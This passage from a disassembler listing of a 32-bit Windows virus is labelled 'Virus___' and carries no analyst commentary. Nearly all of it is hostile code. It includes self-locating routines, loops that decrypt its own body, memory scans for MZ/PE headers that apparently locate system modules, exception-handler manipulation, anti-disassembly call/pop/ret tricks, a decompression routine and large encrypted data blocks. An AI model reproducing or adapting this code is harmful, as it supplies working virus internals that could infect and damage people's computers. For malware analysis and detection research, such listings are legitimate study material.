loc_56E1FB ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56E071 proc near ; CODE XREF: start+5BFB5p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 95D354Dh mov ebx, edx mov [ebp+var_28], 0 loc_56E08D: ; CODE XREF: sub_56E071+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_56E0AC mov eax, [ebp+arg_0] mov [ebx+95D34B7h], eax inc [ebp+arg_0] inc ebx jmp short loc_56E08D ; --------------------------------------------------------------------------- loc_56E0AC: ; CODE XREF: sub_56E071+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_56E071 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56E0B7 proc near ; CODE XREF: start+5BFBFp start+5BFC9p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 95D3596h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_56E0DD: ; CODE XREF: sub_56E0B7+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_56E0DD mov [ebp+var_84], 0 lea edi, [edx+95D34B7h] lea esi, [ebp+var_80] loc_56E10D: ; CODE XREF: sub_56E0B7+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_56E119: ; CODE XREF: sub_56E0B7+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_56E119 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_56E10D popa leave retn 4 sub_56E0B7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_56E157 ; --------------------------------------------------------------------------- loc_56E153: ; CODE XREF: Virus___:0056E15Aj inc dword ptr [ebp-4] inc esi loc_56E157: ; CODE XREF: Virus___:0056E151j cmp byte ptr [esi], 0 jnz short loc_56E153 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_56E1E8 ; --------------------------------------------------------------------------- loc_56E169: ; CODE XREF: Virus___:0056E1EBj mov dword ptr [ebp-8], 0 jmp short loc_56E1DF ; --------------------------------------------------------------------------- loc_56E172: ; CODE XREF: Virus___:0056E1E3j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_56E1CC ; --------------------------------------------------------------------------- loc_56E182: ; CODE XREF: Virus___:0056E1D0j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_56E1A4 cmp bl, 39h ja short loc_56E1A4 sub bl, 30h jmp short loc_56E1C6 ; --------------------------------------------------------------------------- loc_56E1A4: ; CODE XREF: Virus___:0056E198j ; Virus___:0056E19Dj cmp bl, 61h jb short loc_56E1B6 cmp bl, 66h ja short loc_56E1B6 sub bl, 61h add bl, 0Ah jmp short loc_56E1C6 ; --------------------------------------------------------------------------- loc_56E1B6: ; CODE XREF: Virus___:0056E1A7j ; Virus___:0056E1ACj cmp bl, 41h jb short loc_56E1C6 cmp bl, 46h ja short loc_56E1C6 sub bl, 41h add bl, 0Ah loc_56E1C6: ; CODE XREF: Virus___:0056E1A2j ; Virus___:0056E1B4j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_56E1CC: ; CODE XREF: Virus___:0056E180j cmp dword ptr [ebp-0Ch], 2 jb short loc_56E182 cmp dword ptr [ebp-10h], 0 jbe short loc_56E1DC mov eax, [ebp-10h] stosb loc_56E1DC: ; CODE XREF: Virus___:0056E1D6j inc dword ptr [ebp-8] loc_56E1DF: ; CODE XREF: Virus___:0056E170j cmp dword ptr [ebp-8], 2 jb short loc_56E172 add edx, 4 loc_56E1E8: ; CODE XREF: Virus___:0056E167j cmp edx, [ebp-4] jb loc_56E169 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_56E1FB: ; CODE XREF: start+5BFCEj mov ecx, 7000h lea edi, [ebp+95D36DCh] loc_56E206: ; CODE XREF: start+5C1F6j dec byte ptr [edi] inc edi dec ecx jnz short loc_56E206 mov eax, 48692121h mov edx, 0F0112000h sub edx, 0F0000000h lea eax, [ebp+95D37ABh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bh, ch sbb bx, 5349h sub eax, edx jp $+6 and eax, 0FFFFF000h sub bl, 74h mov ecx, edx xor edi, edi loc_56E252: ; CODE XREF: start+5C259j cmp word ptr [eax], 5A4Dh jnz short loc_56E267 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_56E26F loc_56E267: ; CODE XREF: start+5C243j sub eax, 1000h inc edi jmp short loc_56E252 ; --------------------------------------------------------------------------- loc_56E26F: ; CODE XREF: start+5C251j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+95D37BEh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_56E2A9 mov esi, [eax+1Ch] loc_56E2A9: ; CODE XREF: start+5C290j xor eax, eax loc_56E2AB: ; CODE XREF: start+5C2AAj cmp eax, 32h jz short loc_56E2CF cmp word ptr [esi], 5A4Dh jz short loc_56E2C0 loc_56E2B7: ; CODE XREF: start+5C2B9j sub esi, 10000h inc eax jmp short loc_56E2AB ; --------------------------------------------------------------------------- loc_56E2C0: ; CODE XREF: start+5C2A1j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_56E311 jmp short loc_56E2B7 ; --------------------------------------------------------------------------- loc_56E2CF: ; CODE XREF: start+5C29Aj pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 95D37C9h lea eax, [ebp+95D3787h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_56E311: ; CODE XREF: start+5C2B7j xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push edi call sub_56E327 and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_56E327 proc near ; CODE XREF: start+5C30Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_56E327 endp ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- mov ah, 60h mov bx, 3CD8h popa mov ebx, 211E8A62h or bx, 9A02h mov cx, ds push 0 push esi call sub_56E357 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56E357 proc near ; CODE XREF: Virus___:0056E34Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_56E357 endp ; --------------------------------------------------------------------------- db 98h dd 815E8D76h, 80F98ABAh, 8B6604E1h, 0FC90ADAh, 3D85h, 11E800h dd 0F1040000h, 0B83A747Bh, 971D92E5h, 29FF1F5Fh, 5738574Fh dd 85C75B5Bh, 95D0971h, 1, 38E9DE8Bh, 57000000h, 0CE9h dd 0F7A4EC00h, 0F2DD9D39h, 0EAC50400h, 85C75BABh, 95D0971h dd 0 dd 0FE8h, 0EB93700h, 0D5C8D434h, 2B3C782Ch, 0A50C35B6h dd 5382E381h, 895B20FAh, 5D08F185h, 0E4EF8009h, 8158589h dd 0EE8095Dh, 41000000h, 20C8D92Ah, 0B0702BF6h, 0B730F956h dd 7EB9660Ch, 4CBF5A2Bh, 8133CC80h, 73EFC2h, 0AB7EB900h dd 0BFBB601Ah, 81218A92h, 8A75EAEBh, 0F6806021h, 61D38A4Bh dd 8160328Bh, 0DA4DA2CBh, 61B4B30Ch, 3EE8C681h, 14E90CB1h dd 80000000h, 0A1ED3C3Ah, 0C2842DE3h, 27654EF3h, 6C14CB40h dd 81011691h, 2633C2EEh, 8152B179h, 97506FF6h, 8810F47h dd 60000000h, 6CE78166h, 8961F507h, 91EA8132h, 8114C46Ch dd 565EC5E1h, 8DC2813Eh, 0F14C46Ch, 0EB83CBBFh, 99850F01h dd 80FFFFFFh, 4EB0BECh, 384h, 647E9h, 71BD8900h, 60095D02h dd 1199BD31h, 0B8095Dh, 0F9000000h, 2824548Bh, 0DD858B60h dd 60095D11h, 14458D03h, 6161095Dh, 33A98589h, 870F095Dh dd 6, 0CB18D89h, 3CBE095Dh, 0E9000000h, 5, 0E2F3E87h, 24740312h dd 79BD2924h, 66095D2Ah, 0F58D89ADh, 3095D0Bh, 9242444h dd 5D329585h, 0E9609009h, 0Dh, 0A8A871Ch, 0B04A92E0h, 0C1C350A0h dd 6050614Dh, 0BA60B7B0h, 49751A94h, 8A0Fh, 61610000h dd 6880F90h, 29000000h, 5D08BD85h, 78408B09h, 85B50960h dd 8B095D0Bh, 5D149185h, 44036109h, 0F5602824h, 199D0157h dd 5F095D10h, 18408B61h, 18E0Fh, 40F80000h, 68E0Fh, 0BD890000h dd 95D3049h, 29C98D89h, 8589095Dh, 95D3964h, 1101BD01h dd 8958095Dh, 5D2505BDh, 41858909h, 8B095D2Bh, 60F87870h dd 0FE9h, 7DF90D00h, 9DB42C51h, 669453EAh, 3DB5DF6Fh, 35D9D89h dd 8361095Dh, 85091CC6h, 95D3381h, 24247403h, 14299589h dd 0BD8D095Dh, 95D0999h, 6E9h, 66079600h, 0AD63FBA8h, 0E5852960h dd 61095D19h, 24244403h, 2BB99531h, 89AB095Dh, 5D2B55BDh dd 0DDBD8D09h, 29095D03h, 5D2F918Dh, 9501AD09h, 95D0C85h dd 24244403h, 0DE9h, 0BB1B1900h, 21556E8Fh, 0BA6E5AA9h dd 8E0F4BC8h, 0Dh, 6D93BA60h, 958914F8h, 95D123Dh, 8B605061h dd 61CB8BCFh, 0FC240489h, 2EE19589h, 29AB095Dh, 5D18358Dh dd 0C1BD8D09h, 0F095D28h, 0E8Eh, 9E900h, 80630000h, 509EF59Eh dd 0ADA1EFF1h, 244403FCh, 49952928h, 0F5095D27h, 59589ABh dd 5E095D09h, 2AB58D89h, 8DFF095Dh, 95D3964h, 3964BD83h dd 7500095Dh, 2444C710h, 1Ch, 8BB58D00h, 0FF095D3Dh, 3AD56E6h dd 97282444h, 858ADF8Bh, 95D3335h, 474C084h, 4C75073Ah dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh dd 33A985FFh, 6FE9095Dh, 5EFFFFFFh, 10E9h, 203A4C00h, 0B5FAA5A8h dd 898F6C6Ah, 0C79601C4h, 8F0F60BDh, 0Dh, 8E9h, 0BFC54300h dd 0A46EDCC7h, 858B6199h, 95D33A9h, 6830Fh, 8D290000h dd 95D322Dh, 890FE0D1h, 9, 66F38B60h, 0A310D281h, 0F1B58961h dd 3095D11h, 5D28C185h, 0F62BF509h, 0DE9h, 0CCA14C00h dd 8502F5AAh, 42F787BFh, 2996FD66h, 5D04F5BDh, 0AD66F809h dd 0D8D3160h, 8B095D21h, 5D077985h, 0E0C16109h, 55958902h dd 3095D2Bh, 5D099985h, 158D8909h, 96095D00h, 68B0Fh, 0BD890000h dd 95D1CC1h, 0DE9ADh, 30A10000h, 515D8D8Fh, 2F58810Ch dd 8B422978h, 8924244Ch, 5D244DB5h, 24440309h, 0D1BD0924h dd 89095D02h, 891C2444h, 5D0CE98Dh, 0ACF59609h, 81666060h dd 6094ABE0h, 66526161h, 2AACE81h, 0C9326158h, 8E9h, 5C70C700h dd 8CB7B077h, 0E9C1FE79h, 0Ch, 526115A1h, 2F7A24BAh, 31F130Ah dd 830FD0D0h, 9Fh, 29FDB589h, 0D0D0095Dh, 91830Fh, 0D0F80000h dd 88820FD0h, 89000000h, 5D1165B5h, 0FD0D009h, 7A82h, 41958900h dd 0E9095D1Dh, 13h, 0C2A7E0A5h, 4164FF04h, 2F4857DFh, 7C69D2E8h dd 0FEA3CB0Dh, 0AD890FC9h, 0FCFFFFFFh, 0E920C483h, 9, 73BE425Fh dd 0E48D7414h, 2444C789h, 0FCh, 18C0F00h, 0F8000000h, 1B8h dd 5DBD8900h, 8D095D22h, 5D724C8Dh, 898D8909h, 89095D10h dd 5D07818Dh, 0E9E1FF09h, 9, 5556B42Fh, 7D8BDE19h, 0D98D893Bh dd 0C6095D32h, 5D333585h, 81600009h, 2FA13FF6h, 0C580604Dh dd 61616098h, 8D896161h, 95D08BDh, 600008C2h, 1A65B58Bh dd 11E9095Dh, 6D000000h, 0F81CDB0h, 7F9EAA27h, 92BBA041h dd 39AEB283h, 0B9609661h, 346C4801h, 5A575250h, 6E8310Fh dd 0D9000000h, 4A9339E5h, 585A5B37h, 800F5061h, 0Eh, 61605250h dd 870F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax xchg eax, esi mov [ebp+95D2EE9h], eax mov [ebp+95D3F8Bh], esi ja loc_56E943 sub [ebp+95D211Dh], eax loc_56E943: ; CODE XREF: Virus___:0056E937j mov [ebp+95D3F96h], ecx jmp loc_56E95E ; --------------------------------------------------------------------------- dw 7604h dd 9B68D751h, 7914C60Eh, 15E8E865h ; --------------------------------------------------------------------------- xchg eax, edx lodsd loc_56E95E: ; CODE XREF: Virus___:0056E949j jmp loc_56E96D ; --------------------------------------------------------------------------- xor al, 0E5h xchg eax, esi inc ebx db 3Eh xor edi, [edi] push edi test al, 72h loc_56E96D: ; CODE XREF: Virus___:loc_56E95Ej lea esi, [ebp+95D3E68h] clc lea eax, dword_5B8EA1[ebp] cmc call eax mov [ebp+95D14A9h], ebx mov [ebp+95D06F9h], esi pop esi jz locret_56E996 mov [ebp+95D08DDh], eax locret_56E996: ; CODE XREF: Virus___:0056E98Aj retn ; --------------------------------------------------------------------------- stc mov esi, [ebp+95D3F8Bh] clc mov ecx, [ebp+95D3F96h] jb loc_56E9CB pusha add [ebp+95D0F6Dh], edx jmp loc_56E9CA ; --------------------------------------------------------------------------- db 0EEh dd 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh ; --------------------------------------------------------------------------- dec dword ptr [edi] loc_56E9CA: ; CODE XREF: Virus___:0056E9B2j popa loc_56E9CB: ; CODE XREF: Virus___:0056E9A5j sub eax, eax jmp loc_56E9E1 ; --------------------------------------------------------------------------- dw 8132h ; --------------------------------------------------------------------------- push es lahf sub eax, 0EF62E548h mov [edi-44h], cl add eax, [edi-6Eh] loc_56E9E1: ; CODE XREF: Virus___:0056E9CDj mov ebx, ecx mov [ebp+95D26F1h], ebx jmp loc_56EA9E ; --------------------------------------------------------------------------- cld loc_56E9EF: ; CODE XREF: Virus___:0056EAA0j xor ah, [esi] jmp loc_56EA0A ; --------------------------------------------------------------------------- mov word ptr [ecx], fs retn 9AEh ; --------------------------------------------------------------------------- db 0FBh dd 0E5CC2AD2h, 0AD4EABFEh, 566C03F3h db 0DDh, 0BDh ; --------------------------------------------------------------------------- loc_56EA0A: ; CODE XREF: Virus___:0056E9F1j mov dl, 2 pusha push edi sub esi, [ebp+95D2831h] pop eax popa jmp loc_56EA6C ; --------------------------------------------------------------------------- cmc loc_56EA1C: ; CODE XREF: Virus___:0056EA6Ej xor al, dl jmp loc_56EA35 ; --------------------------------------------------------------------------- db 5Ch dd 0B159332h, 9933C0DDh, 7E2AD40Eh, 0A18719CCh ; --------------------------------------------------------------------------- cmc loc_56EA35: ; CODE XREF: Virus___:0056EA1Ej add eax, 8A751D7Ah mov [ebp+95D2819h], eax mov cl, ah mov [ebp+95D2B9Dh], ebx ror eax, cl mov [ebp+95D1CEDh], ecx xor eax, 98D10842h jz loc_56EA69 pusha mov esi, [ebp+95D2ED9h] mov [ebp+95D2959h], eax popa loc_56EA69: ; CODE XREF: Virus___:0056EA55j dec dl cmc loc_56EA6C: ; CODE XREF: Virus___:0056EA16j or dl, dl jnz loc_56EA1C jbe loc_56EA80 mov [ebp+95D24D9h], edx loc_56EA80: ; CODE XREF: Virus___:0056EA74j dec ebx jmp loc_56EA8E ; --------------------------------------------------------------------------- dw 4E1Dh dd 0D51AF76Fh db 46h, 32h ; --------------------------------------------------------------------------- loc_56EA8E: ; CODE XREF: Virus___:0056EA81j inc esi pusha cld adc edi, 70B2FB1h popa or [ebp+95D03F9h], edx loc_56EA9E: ; CODE XREF: Virus___:0056E9E9j or ebx, ebx jnz loc_56E9EF pusha add [ebp+95D234Dh], ecx push edx mov si, 4D6Ah pop esi popa iret ; --------------------------------------------------------------------------- db 89h, 2 dup(0BDh) dd 95D0Ah, 49BD8900h, 95D31h, 0F500h, 6E960h, 0F6890000h dd 48BD17D2h, 0D386E781h, 610D32h, 11B58900h, 0F5095D24h dd 3973858Dh, 9529095Dh, 95D1165h, 9D8589F8h, 0E9095D19h dd 0Bh, 5C350607h, 8970DA4Ah, 893BDA17h, 5D23819Dh, 0C9858D09h dd 29095D3Dh, 5D1D5D85h, 81858909h, 0E8095D1Fh, 5, 3E91644Fh dd 6820F71h, 3000000h, 5D1D398Dh, 81665809h, 818E19E9h dd 6867C0h, 4CCE8100h, 0BB459575h, 5DD85EDBh, 0BB13C381h dd 8166A227h, 0FFA521E6h, 66605F30h, 8B03E3BAh, 0C78161D1h dd 7A993D1h, 0B26865B9h, 4C78178h, 66064408h, 0F781F28Bh dd 5DD88144h, 8B57CC8Ah, 80008FF1h, 0E88358DAh, 0BE85304h dd 87000000h, 0A03CBF34h, 26667D6Ch, 0CA8013B2h, 835E5977h dd 850F01EBh, 1Ch, 31D18D89h, 24E9095Dh, 88000000h, 33B68142h dd 640F4837h, 1D911551h, 8290E14h, 94C98166h, 0FF89E930h dd 3999FFFFh, 187F1FDFh, 0EB513732h, 14h, 3 dup(0) dd 0E200h, 74858D00h, 89095D41h, 5D147585h, 0B5BD8309h dd 95D40h, 122840Fh, 85C60000h, 95D3335h, 4E856h, 6D390000h dd 8B50D41Fh, 8B042444h, 24448900h, 0B5FF5804h, 95D08F1h dd 3973858Dh, 0D0FF095Dh, 40A98589h, 85C6095Dh, 95D3335h dd 0BA416856h, 4818A01h, 0A6FE1124h, 0F1B5FF12h, 8D095D08h dd 5D397385h, 89D0FF09h, 5D40AD85h, 68046A09h, 9B5F1424h dd 0DC240481h, 8B64A0FBh, 5D40B985h, 1F40509h, 0E0C10000h dd 90509002h, 95FF006Ah, 95D40ADh, 40B18589h, 0D88B095Dh dd 0FFFFFFB8h, 7595FFFFh, 8B095D14h, 7595FFC3h, 0E9095D14h dd 84h, 40B5BD83h, 0F00095Dh, 185h, 8B57C300h, 5D40B1BDh dd 8583AB09h, 95D40B1h, 83C35F04h, 5D40B5BDh, 850F0009h dd 1, 0AD8360C3h, 95D40B1h, 0B19D8B04h, 83095D40h, 0FFFFC7Bh dd 1D85h, 0BE5C6800h, 3481126Fh, 6F3E5C24h, 0FF006A12h dd 0A995FF33h, 61095D40h, 1DE9C3h, 24680000h, 813428D5h dd 55242434h, 6A3428h, 95FF33FFh, 95D40A9h, 40B1AD83h dd 0E904095Dh, 0FFFFFFB1h, 1ADE948h, 8B600000h, 8B242474h dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5, 1246168Ah dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h dd 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h dd 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h dd 0DDBBC600h, 0DA3DDA1Ah, 38F04C30h, 37E87A05h, 81ADF302h dd 0D11AD99Ch, 6BF3412Ah, 0BAC727D7h, 0DD9D9B83h, 0D67FD117h dd 6AE75E38h, 30FA6B56h, 0EEE6FC47h, 0DB10A9FFh, 67F25C3Eh dd 0B8C72785h, 0DD9E9485h, 0C97FCB17h, 6AF84425h, 2BE47748h dd 85E8E850h, 0CC5C9D9Ch, 2AE35C3Ah, 0AD8926D7h, 0DD888085h dd 0C830CD0Eh, 64F84A25h, 63h dup(0) dd 0DDBBC600h, 0C631D013h, 6AE74423h, 23E66055h, 0C4A5F050h dd 9E0F989Ah, 25F24A3Dh, 0A1C63485h, 8FDA9184h, 0C631D10Bh dd 23B54C39h, 2BF0324Bh, 97E8E357h, 0DB088A8Bh, 469D0132h dd 0B5CC3EF5h, 0DDD69099h, 0C033D10Bh, 23B54F36h, 36EF3251h dd 89E8FC4Dh, 0CC139497h, 25F60F26h, 0B1DB72C1h, 8F9B8199h dd 0C0269F0Ah, 3AB55922h, 36EE7D57h, 0E6FC43h, 48h dup(0) dd 0DDBBC600h, 0CC3ECD1Dh, 6DE74E3Ch, 2BFD3256h, 8CE8FD4Dh dd 0DC5C8A93h, 6BF94A3Ah, 0BADC3DC3h, 8888D58Eh, 0C136D110h dd 24FC0B30h, 31E66B05h, 9DBBB150h, 0D3198D81h, 1B9A2571h dd 0A7C837C9h, 88DAD98Fh, 0CE30D310h, 3EFC0B33h, 2BFB7405h dd 81A5B14Fh, 0C70E969Fh, 2FF94E7Fh, 0A7CC2085h, 8988949Eh dd 0DA30C65Eh, 38E50B25h, 25FB754Ah, 0BF4Fh, 61h dup(0) dd 94BCC600h, 0CC7FDA12h, 3FE75938h, 20EC6655h, 0B0E8BF03h dd 9E0F909Ah, 2CF85D2Fh, 0F4C433D7h, 0DD899482h, 0C13ADA1Ch dd 24F44677h, 28FC624Ch, 80ADE543h, 0DA1298D2h, 32F6427Fh dd 0D9A337C7h, 8EDD8183h, 0C931D65Eh, 2FE14832h, 3DEB3241h dd 0B2E8F002h, 0CD098B9Bh, 6BE5407Fh, 0B7C820C6h, 0D39E9081h dd 0C637EB5Eh, 23F30B24h, 33A97749h, 90EFFF4Dh, 0CC138ED2h dd 25F60F34h, 0A6C63FDCh, 0DB8Fh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5726C8 ; --------------------------------------------------------------------------- add bx, 0BF43h cld mov edx, [ebp+95D1101h] mov eax, eax push 0 push eax call sub_56F8D6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56F8D6 proc near ; CODE XREF: Virus___:0056F8CEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_56F8D6 endp ; --------------------------------------------------------------------------- fimul word ptr [esp+eax] cmp dword ptr [ebp+95D1809h], 0 jnz short loc_56F8FB cmp dword ptr [ebp+95D0329h], 0 jz short loc_56F90E loc_56F8FB: ; CODE XREF: Virus___:0056F8F0j push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+95FA903h] call ebx pop ebx pop eax loc_56F90E: ; CODE XREF: Virus___:0056F8F9j cmp dword ptr [ebp+95D0329h], 0 jz short loc_56F928 push eax push ebx mov eax, 1 lea ebx, [ebp+95FA7B4h] call ebx pop ebx pop eax loc_56F928: ; CODE XREF: Virus___:0056F915j push 0 push eax call sub_56F933 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56F933 proc near ; CODE XREF: Virus___:0056F92Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_56F933 endp ; --------------------------------------------------------------------------- db 0F1h dd 5E8C4h, 0FFC90000h, 52E25B53h, 5A5ADA8Ah, 21EDBD09h dd 0C08B095Dh, 0BD19D8Bh, 0BD83095Dh, 95D14D9h, 0E8840F00h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0EB73C356h, 0BB36B68Ah, 0F179C8D8h dd 5A14B356h, 2671BD83h, 0F00095Dh, 1B284h, 0D5850100h dd 1095D19h, 5D1AB99Dh, 0BA666009h, 858B1361h, 95D2671h dd 5433F281h, 0E8051207h, 0F000003h, 5090D0B7h, 6A90D38Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 6A95C351h, 4D6F858Dh, 6A095Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 94B863C3h dd 23F5958Bh, 0BA50095Dh, 5D798BB5h, 81240489h, 0F259E4DAh dd 4D858D5Ah, 89095D4Dh, 5D27AD8Dh, 52509009h, 310F5A56h dd 5AD18B66h, 60505058h, 0E8F18B66h, 8, 7BF963DBh, 9598FBCh dd 905A6159h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0BEC35747h, 95FF88F9h, 95D111Dh, 2F3D958Bh, 0C483095Dh dd 53006A0Ch, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0DDBDCA5Bh, 4EF80CD2h, 858D1C9Ch, 95D4D4Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5CC35545h dd 6628CA9Ch, 9531D68Bh, 95D1801h, 19958B50h, 5A095D0Bh dd 830F5790h, 0 ; --------------------------------------------------------------------------- pop edx push eax jmp loc_56FAFB ; --------------------------------------------------------------------------- db 3 dd 60590414h, 7D683938h, 5AA7E88Ah db 0FCh, 0C7h, 33h ; --------------------------------------------------------------------------- loc_56FAFB: ; CODE XREF: Virus___:0056FAE6j nop push 0 push edx call sub_56FB07 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56FB07 proc near ; CODE XREF: Virus___:0056FAFFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_56FB07 endp ; --------------------------------------------------------------------------- mov ebp, 2DF8C154h cmp edi, [eax] dec edx db 2Eh xchg eax, edx push 2 mov bh, al call dword ptr [ebp+6AED14h] sub ebx, 197B9EACh popa push 0 push ebx call sub_56FB3D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56FB3D proc near ; CODE XREF: Virus___:0056FB35p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_56FB3D endp ; --------------------------------------------------------------------------- db 0Fh, 59h, 89h dd 1AA508BEh, 0C7388B5Bh, 5D4D8085h, 109h, 799D8B00h, 80095D22h dd 5096BEE6h, 959FBB52h, 310F0463h, 585ADE8Bh, 9660B350h dd 89D6B70Fh, 5D4D31B5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 9D010F44h, 95D05E9h, 971BD83h dd 0F01095Dh, 5185h, 91952B00h, 83095D28h, 850F05F8h, 42h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D8C35040h dd 